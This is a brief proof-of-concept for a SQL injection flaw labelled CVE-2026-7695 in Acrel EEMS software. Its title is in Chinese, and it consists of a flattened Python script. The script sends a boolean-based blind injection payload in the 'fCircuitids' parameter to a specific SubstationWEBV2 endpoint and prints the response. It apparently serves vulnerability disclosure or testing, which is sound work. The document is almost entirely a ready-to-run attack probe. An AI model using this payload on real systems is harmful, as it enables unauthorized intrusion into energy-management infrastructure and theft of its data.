CVE-2026-7695: Acrel EEMS SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/SubstationWEBV2/main/elecMaxMinAvgValue" # Malicious payload to test SQL Injection # Attempting to perform a boolean-based blind injection payload = "1' AND 1=1-- -" parameters = { "fCircuitids": payload } try: # Send GET request with the payload response = requests.get(target_url, params=parameters, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Analyze response to confirm vulnerability (logic depends on application behavior) if "expected_data" in response.text: print("[!] Potential SQL Injection vulnerability confirmed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")